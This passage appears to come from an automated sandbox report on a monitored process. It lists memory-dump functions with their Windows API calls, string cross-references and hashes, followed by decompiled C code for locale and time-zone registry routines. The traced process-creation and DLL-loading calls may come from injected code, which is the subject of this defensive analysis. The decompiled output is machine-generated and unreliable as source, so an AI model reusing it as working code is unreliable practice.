String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: c99c3f7599f960a6d22839fee80bfe06e2916b2837f88246b117fcba7073288a
Instruction ID: 843388dbfa745a222a99e9a4e6401c03e08835f2cd5b154a8125b0c7ceaf47f7
Opcode Fuzzy Hash: c99c3f7599f960a6d22839fee80bfe06e2916b2837f88246b117fcba7073288a
Instruction Fuzzy Hash: 283190B1602704ABCB25DF68D8B1FABB7F8FB48700F00842DF61A9B241D771A545DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00096ED6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00096F88

Strings

net.dll, xrefs: 00096F51, 00096FAF, 00096FBB
wininet.dll, xrefs: 00096F3E, 00096F47

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: fe0be039493b49fe3fd2c61d606f568c4cea16b614000f6f12e5a4ebcf562c51
Instruction ID: 9ae385f61f78c2ca96d4f11ded0d00f9b1982cc83f969961b21d44db4e8c78d9
Opcode Fuzzy Hash: fe0be039493b49fe3fd2c61d606f568c4cea16b614000f6f12e5a4ebcf562c51
Instruction Fuzzy Hash: 7431E3B1605304ABDB21DF68DCA1FABB7F4AF84300F04802DF5199B282D771A954DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000984D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00083B93), ref: 000984FD

Strings

.z`, xrefs: 000984EC, 000984F8

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 1c755d4cbfb66d039e8ff558d84dc61b7497881273cc45cb809a5fb29154940b
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 4AE01AB12002046BDB14DF59CC45EA777ACAF88750F018554F90857242CA30E910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 000872E3, Relevance: 3.2, APIs: 2, Instructions: 172threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 000872BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 000872DB

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 81d6d8e805bac894573f2fa808282623dadddf9dc922f8a9f7fc43b5ae12a64e
Instruction ID: 07a10bb020abd5d6a8c911dd38e846b3c48d87ca8972e5f6f5a21f7bfc531780
Opcode Fuzzy Hash: 81d6d8e805bac894573f2fa808282623dadddf9dc922f8a9f7fc43b5ae12a64e
Instruction Fuzzy Hash: 14519371504209AFDB24EF64CC86BEB77E8FB49300F10446EF95D97241DB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00087260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 000872BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 000872DB

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 86bf3b6b4f8632384912ca179e6a2c0c2a2330f0bda20a50d1e87891e66c8b10
Instruction ID: 5aa3b97d6aa85e08f00fefe8b5f0a767f3611af8853c18f5fb742d2c041b7cc6
Opcode Fuzzy Hash: 86bf3b6b4f8632384912ca179e6a2c0c2a2330f0bda20a50d1e87891e66c8b10
Instruction Fuzzy Hash: B001D631A8022C77EB20B7949C43FFE776CAB40B50F150119FF44BA1C2E694AA0687F6

Uniqueness

Uniqueness Score: -1.00%

Function 00089B20, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00089B92

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 9dad75656dc95706c574d85ceed14ede952760ce02333afafa4db01abbe2434c
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: 10011EB5E0020DBBDF10EAE4ED42FEDB7B8AB54308F0441A5A90897242F631EB14DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0009853E, Relevance: 1.5, APIs: 1, Instructions: 43processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00098594

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 6293f06abf1b1289d332f36aaae5400312b6c3aed2955994dc98e5219e5a0034
Instruction ID: 93d6eb977373b6cec21131db3f4bfe966c6d0dd4b7442ccf56aef515ed49536a
Opcode Fuzzy Hash: 6293f06abf1b1289d332f36aaae5400312b6c3aed2955994dc98e5219e5a0034
Instruction Fuzzy Hash: D401AFB2215108BFCB54CF99DC80EEB77A9AF8C754F158258FA4DE7251C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00098540, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00098594

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 501684698dff5584f9e1b6135d593b1e47e90fb512b1126792af57a654e4258c
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 1701AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258FA0D97241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00097010, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0008CCD0,?,?), ref: 0009704C

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: e8a682d6ca176058e0d851ff1510c3e9173edc0f8f67161c925dea0b5d29092c
Instruction ID: 416103828da53efaec7a5c974d70f2614daa2a7034dc223b89b16dfb35dccd51
Opcode Fuzzy Hash: e8a682d6ca176058e0d851ff1510c3e9173edc0f8f67161c925dea0b5d29092c
Instruction Fuzzy Hash: 0FE06D333912043AE73065999C02FE7B39C8B81B20F540026FA0DEB2C2D595F80156A4

Uniqueness

Uniqueness Score: -1.00%

Function 0009700B, Relevance: 1.5, APIs: 1, Instructions: 34threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0008CCD0,?,?), ref: 0009704C

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6ac8bef651648aaad739ec2aea014c283bb45f7b3e4593ef5288e76e7c440526
Instruction ID: 5965e061edcf5c420f3ba85b40506925b04b480389d4e4a61dea7a54920dbc26
Opcode Fuzzy Hash: 6ac8bef651648aaad739ec2aea014c283bb45f7b3e4593ef5288e76e7c440526
Instruction Fuzzy Hash: 1CE0DF733903003AEB3025598C03FEB739C8BC1F20F550029FB09AB6C2D995F80246A8

Uniqueness

Uniqueness Score: -1.00%

Function 00098490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00093516,?,00093C8F,00093C8F,?,00093516,?,?,?,?,?,00000000,00000000,?), ref: 000984BD

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: cac02a83fd5abd7d49bcf9a62a744273dfce44e83f10bb29bcbd2eb272a030b7
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 1AE012B1200208ABDB14EF99CC41EA777ACAF88650F118558FA089B282CA30F910CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00098630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0008CFA2,0008CFA2,?,00000000,?,?), ref: 00098660

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 6a27dad26c2d5faf9d449469d3e8af6ec1307e237583b6fb8baac24e736a657b
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 37E01AB12002086BDB10DF49CC85EE737ADAF89650F018554FA0857242C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0008D410, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00087C63,?), ref: 0008D43B

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: 746999c3a9da8dd47fd5d6713711b0bf696e9ec5616cd02b68266e171eb19b41
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: 88D0A7717503043BEA10FBA89C03F6633CC6B54B00F494064F949D73C3D960F9004561

Uniqueness

Uniqueness Score: -1.00%

Function 0008D407, Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00087C63,?), ref: 0008D43B

Memory Dump Source

Source File: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Offset: 00080000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 2b03b70055e3976559e48e6174333118922f37c0d93257a4517c8dbfdf1b817e
Instruction ID: 81759cd83db2154c6d87ea1649f11e4dbdc5eb5fea92102c50232a62bb7683d1
Opcode Fuzzy Hash: 2b03b70055e3976559e48e6174333118922f37c0d93257a4517c8dbfdf1b817e
Instruction Fuzzy Hash: DEC02BF2B842000AE644E2F03C06F7063106330346F02D28BE1885CEC1C47110040B02

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00988788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00988788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00988460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E0096E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E0098718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00988460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E0098718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00988460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00988460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00988460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E0098718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E0096E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E00962340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E0097E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E0096E2A8(_t322,  &_v68, _v16);
								if(E00985553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E0097E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E0096E2A8(_t322,  &_v68, _t236);
								if(E00985553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E0098718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E0096E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E00962340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E0097E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E0096E2A8(_v12,  &_v68, _v16);
							if(E00985553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E0097E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E0096E2A8(_t322,  &_v68, _t269);
							if(E00985553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E0098718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E0096E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E00962340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E0097E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E0096E2A8(_v12,  &_v68, _v16);
						if(E00985553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E0097E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E0096E2A8(_t322,  &_v68, _t296);
						if(E00985553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E0096E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00988788
0x00988788
0x00988791
0x00988794
0x00988798
0x0098879b
0x0098879e
0x009887a1
0x009887a4
0x009887a7
0x009887aa
0x009887af
0x009d1ad3
0x00988b0a
0x00988b0d
0x00988b13
0x00988b19
0x00988b1f
0x00988b25
0x00988b2b
0x00988b31
0x00988b37
0x00988b3d
0x00988b46
0x00988b46
0x009887c6
0x009887d0
0x009d1ae0
0x009d1ae6
0x009d1af8
0x009d1af8
0x009d1afd
0x009d1afe
0x009d1b01
0x009d1b06
0x009d1b06
0x009887d6
0x009887f2
0x009887f7
0x00988807
0x0098880a
0x0098880f
0x00988810
0x00988813
0x00988818
0x00988818
0x0098882c
0x00988831
0x00988838
0x00988908
0x00988920
0x009889f0
0x00988a08
0x00988af6
0x00988af6
0x00988af8
0x00988afb
0x009d1beb
0x009d1beb
0x00988b04
0x009d1bf8
0x009d1c0e
0x009d1c13
0x009d1c16
0x009d1c16
0x009d1bf8
0x00000000
0x00988b04
0x00988a0e
0x00988a11
0x00988a14
0x00988a15
0x00988a18
0x00988a22
0x00988b59
0x00988a28
0x00988a3c
0x00988a3c
0x00988a42
0x009d1bb0
0x009d1b11
0x009d1b11
0x00000000
0x00988a48
0x00988a51
0x00988a5b
0x00988a5e
0x00988a61
0x00988a69
0x00988a69
0x00988a6d
0x00000000
0x00000000
0x00988a74
0x00988a7c
0x00988a7d
0x00988a91
0x00988a93
0x00988a93
0x00988a98
0x00988a9b
0x00988aa1
0x00988aa1
0x00988aa4
0x00988aaa
0x00988ab1
0x00988ac5
0x00988ac7
0x00988ac7
0x00988ac5
0x00988ace
0x009d1bc9
0x009d1bce
0x009d1bd2
0x009d1bd2
0x00988ad8
0x00988aeb
0x00988aeb
0x00988af0
0x00988af4
0x00000000
0x00988af4
0x00988a42
0x00988926
0x00988929
0x0098892c
0x0098892d
0x00988930
0x00988935
0x0098893a
0x00988b51
0x00988940
0x00988954
0x00988954
0x0098895a
0x009d1b63
0x00000000
0x00988960
0x00988969
0x00988973
0x00988976
0x00988979
0x0098897e
0x00988981
0x00988981
0x00988986
0x00000000
0x00000000
0x009d1b6e
0x009d1b74
0x009d1b7b
0x009d1b8f
0x009d1b91
0x009d1b91
0x009d1b99
0x009d1b9c
0x009d1ba2
0x009d1ba2
0x0098898c
0x00988992
0x00988999
0x009889ad
0x009d1ba8
0x009d1ba8
0x009889ad
0x009889b6
0x009889c8
0x009889cd
0x009889d0
0x009889d0
0x009889d6
0x009889e8
0x009889e8
0x009889ed
0x00000000
0x009889ed
0x0098895a
0x0098883e
0x00988841
0x00988844
0x00988845
0x00988848
0x0098884d
0x00988852
0x00988b49
0x00988858
0x0098886c
0x0098886c
0x00988872
0x009d1b0e
0x00000000
0x00988878
0x00988881
0x0098888b
0x0098888e
0x00988891
0x00988896
0x00988899
0x00988899
0x0098889e
0x00000000
0x00000000
0x009d1b21
0x009d1b27
0x009d1b2e
0x009d1b42
0x009d1b44
0x009d1b44
0x009d1b4c
0x009d1b4f
0x009d1b55
0x009d1b55
0x009888a4
0x009888aa
0x009888b1
0x009888c5
0x009d1b5b
0x009d1b5b
0x009888c5
0x009888ce
0x009888e0
0x009888e5
0x009888e8
0x009888e8
0x009888ee
0x00988900
0x00988900
0x00988905
0x00000000
0x00988905

APIs

_wcspbrk.LIBCMT ref: 00988891
_wcspbrk.LIBCMT ref: 00988979
_wcspbrk.LIBCMT ref: 00988A61
_wcspbrk.LIBCMT ref: 00988A9B
_wcspbrk.LIBCMT ref: 009D1B9C

Strings

Kernel-MUI-Language-Disallowed, xrefs: 00988914
Kernel-MUI-Language-Allowed, xrefs: 00988827
Kernel-MUI-Language-SKU, xrefs: 009889FC
Kernel-MUI-Number-Allowed, xrefs: 009887E6
WindowsExcludedProcs, xrefs: 009887C1

Memory Dump Source

Source File: 00000007.00000002.2375730138.0000000000950000.00000040.00000001.sdmp, Offset: 00940000, based on PE: true

Associated: 00000007.00000002.2375724496.0000000000940000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375819909.0000000000A30000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375823615.0000000000A40000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375827460.0000000000A44000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375830935.0000000000A47000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375834282.0000000000A50000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.2375868044.0000000000AB0000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 9f217b05b70302129a97081d888544c18a2ed745f21fcd77e2999140f987ac8b
Instruction ID: bc9d12bfbb7ca700d3230fea7171e35bb3fb31d81ad98c51c9950f98a210d80f
Opcode Fuzzy Hash: 9f217b05b70302129a97081d888544c18a2ed745f21fcd77e2999140f987ac8b
Instruction Fuzzy Hash: 65F1F7B6D00209EFCF11EFA5C981EEEB7B9FF48300F54446AE505A7211EB359A45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 009F822C, Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E009F822C(void* __ecx, void* __edx, signed int _a4, signed int _a8) {
				char _v8;
				void* __ebx;
				signed int _t41;
				void* _t42;
				signed int* _t50;
				void* _t71;
				void* _t73;
				void* _t78;
				signed int _t81;
				void* _t84;

				_push(__ecx);
				_t81 = _a4;
				_t84 = 0x20;
				_t71 = E00A15A34(_t81 + 4, _t84);
				if(_t71 < _t84) {
					_t41 = E00A15A34(_t81 + 0x58, _t84);
					_pop(_t78);
					_a4 = _t41;
					__eflags = _t41 - _t84;
					if(_t41 >= _t84) {
						goto L1;
					} else {
						_t42 = E009B7DCD(1,  &_v8);
						__eflags = _t42;
						if(__eflags >= 0) {
							__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"Bias", 4, _t81, 4);
							if(__eflags < 0) {
								L14:
								_a4 = 0;
								_t73 = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"TimeZoneKeyName", 1,  &_a4, 2);
								__eflags = _t73;
								if(__eflags >= 0) {
									_a8 =  *(_t81 + 0x1ac) & 0x000000ff;
									_t50 =  &_a8;
									goto L16;
								}
							} else {
								_t8 = _t71 + 2; // 0x2
								__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardName", 1, _t81 + 4, _t71 + _t8);
								if(__eflags < 0) {
									goto L14;
								} else {
									_t71 = 4;
									__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardBias", _t71, _t81 + 0x54, _t71);
									if(__eflags < 0) {
										goto L14;
									} else {
										__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"StandardStart", 3, _t81 + 0x44, 0x10);
										if(__eflags < 0) {
											goto L14;
										} else {
											__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightName", 1, _t81 + 0x58, _a4 + _a4 + 2);
											if(__eflags < 0) {
												goto L14;
											} else {
												__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightBias", _t71, _t81 + 0xa8, _t71);
												if(__eflags < 0) {
													goto L14;
												} else {
													__eflags = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"DaylightStart", 3, _t81 + 0x98, 0x10);
													if(__eflags < 0) {
														goto L14;
													} else {
														__eflags = _a8 - 0x1b0;
														if(__eflags < 0) {
															goto L14;
														} else {
															_t73 = E009F810D(_t71, _t78, __eflags, 0x40000000, _v8, L"TimeZoneKeyName", 1, _t81 + 0xac, 0x100);
															__eflags = _t73;
															if(__eflags >= 0) {
																_a4 =  *(_t81 + 0x1ac) & 0x000000ff;
																_t50 =  &_a4;
																L16:
																_t73 = E009F810D(_t73, _t78, __eflags, 0x40000000, _v8, L"DynamicDaylightTimeDisabled", 4, _t50, 4);
															}
														}
													}
												}
											}
										}
									}
								}
							}
							E0095F9F0(_v8);
							_t42 = _t73;
						}
					}
				} else {
					L1:
					_t42 = 0xc000000d;
				}
				return _t42;
			}

0x009f8231
0x009f8235
0x009f823a
0x009f8245
0x009f824b
0x009f825c
0x009f8262
0x009f8263
0x009f8266
0x009f8268
0x00000000
0x009f826a
0x009f8270
0x009f8275
0x009f8277
0x009f8295
0x009f8297
0x009f838d
0x009f8391
0x009f83a9
0x009f83ab
0x009f83ad
0x009f83b6
0x009f83b9
0x00000000
0x009f83b9
0x009f829d
0x009f829d
0x009f82b6
0x009f82b8
0x00000000
0x009f82be
0x009f82c0
0x009f82d5
0x009f82d7
0x00000000
0x009f82dd
0x009f82f3
0x009f82f5
0x00000000
0x009f82fb
0x009f8317
0x009f8319
0x00000000
0x009f831b
0x009f8332
0x009f8334
0x00000000
0x009f8336
0x009f834f
0x009f8351
0x00000000
0x009f8353
0x009f8353
0x009f835a
0x00000000
0x009f835c
0x009f8378
0x009f837a
0x009f837c
0x009f8385
0x009f8388
0x009f83bc
0x009f83cf
0x009f83cf
0x009f837c
0x009f835a
0x009f8351
0x009f8334
0x009f8319
0x009f82f5
0x009f82d7
0x009f82b8
